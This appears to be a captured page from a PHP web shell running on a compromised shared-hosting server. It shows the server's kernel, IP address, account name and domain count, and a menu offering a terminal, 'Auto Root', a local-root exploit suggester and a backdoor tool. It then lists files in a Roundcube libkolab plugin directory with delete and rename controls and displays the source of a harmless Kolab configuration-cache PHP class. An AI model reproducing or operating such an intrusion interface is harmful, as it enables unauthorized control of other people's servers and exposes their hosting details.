Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.26
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
webuzo-data /
roundcube /
plugins /
libkolab /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
kolab_attachments_handler.php
14.67
KB
-rwxr--r--
2025-04-18 07:07
kolab_bonnie_api.php
3.06
KB
-rwxr--r--
2021-06-17 11:51
kolab_bonnie_api_client.php
6.32
KB
-rwxr--r--
2021-06-17 11:51
kolab_date_recurrence.php
7.56
KB
-rwxr--r--
2021-06-17 11:51
kolab_format.php
26.65
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_configuration.php
8.68
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_contact.php
17.01
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_distributionlist.php
3.77
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_event.php
12.63
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_file.php
4.86
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_journal.php
2.21
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_note.php
4.73
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_task.php
4.7
KB
-rwxr--r--
2021-06-17 11:51
kolab_format_xcal.php
30.22
KB
-rwxr--r--
2021-06-17 11:51
kolab_ldap.php
20.54
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage.php
60.07
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache.php
47.93
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_configuration.php
4.33
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_contact.php
2.71
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_event.php
2.53
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_file.php
2.2
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_freebusy.php
1.4
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_journal.php
1.45
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_note.php
959
B
-rwxr--r--
2021-06-17 11:51
kolab_storage_cache_task.php
1.44
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_config.php
30.29
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_dataset.php
3.73
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_folder.php
42
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_folder_api.php
9.9
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_folder_user.php
3.9
KB
-rwxr--r--
2021-06-17 11:51
kolab_storage_folder_virtual.php
1.72
KB
-rwxr--r--
2021-06-17 11:51
kolab_utils.php
3.18
KB
-rwxr--r--
2021-06-17 11:51
Save
Rename
<?php /** * Kolab storage cache class for configuration objects * * @author Thomas Bruederli <bruederli@kolabsys.com> * * Copyright (C) 2013, Kolab Systems AG <contact@kolabsys.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ class kolab_storage_cache_configuration extends kolab_storage_cache { protected $extra_cols = array('type'); /** * Helper method to convert the given Kolab object into a dataset to be written to cache * * @override */ protected function _serialize($object) { $this->set_data_props($object['type']); $sql_data = parent::_serialize($object); $sql_data['type'] = $object['type']; return $sql_data; } /** * Helper method to convert database record to the given Kolab object * * @override */ protected function _unserialize($sql_arr) { $this->set_data_props($sql_arr['type']); return parent::_unserialize($sql_arr); } /** * Select Kolab objects filtered by the given query * * @param array Pseudo-SQL query as list of filter parameter triplets * @param boolean Set true to only return UIDs instead of complete objects * @param boolean Use fast mode to fetch only minimal set of information * (no xml fetching and parsing, etc.) * * @return array List of Kolab data objects (each represented as hash array) or UIDs */ public function select($query = array(), $uids = false, $fast = false) { // modify query for IMAP search: query param 'type' is actually a subtype if (!$this->ready) { foreach ($query as $i => $tuple) { if ($tuple[0] == 'type') { $tuple[2] = 'configuration.' . $tuple[2]; $query[$i] = $tuple; } } } return parent::select($query, $uids, $fast); } /** * Helper method to compose a valid SQL query from pseudo filter triplets */ protected function _sql_where($query) { if (is_array($query)) { foreach ($query as $idx => $param) { // convert category filter if ($param[0] == 'category') { $param[2] = array_map(function($n) { return 'category:' . $n; }, (array) $param[2]); $query[$idx][0] = 'tags'; $query[$idx][2] = count($param[2]) > 1 ? $param[2] : $param[2][0]; } // convert member filter (we support only = operator with single value) else if ($param[0] == 'member') { $query[$idx][0] = 'words'; $query[$idx][1] = '~'; $query[$idx][2] = '^' . $param[2] . '$'; } } } return parent::_sql_where($query); } /** * Set $data_props property depending on object type */ protected function set_data_props($type) { switch ($type) { case 'dictionary': $this->data_props = array('language', 'e'); break; case 'file_driver': $this->data_props = array('driver', 'title', 'enabled', 'host', 'port', 'username', 'password'); break; case 'relation': // Note: Because relations are heavily used, for performance reasons // we store all properties for them $this->data_props = array('name', 'category', 'color', 'parent', 'iconName', 'priority', 'members'); break; case 'snippet': $this->data_props = array('name'); break; case 'category': default: // TODO: implement this $this->data_props = array(); } } }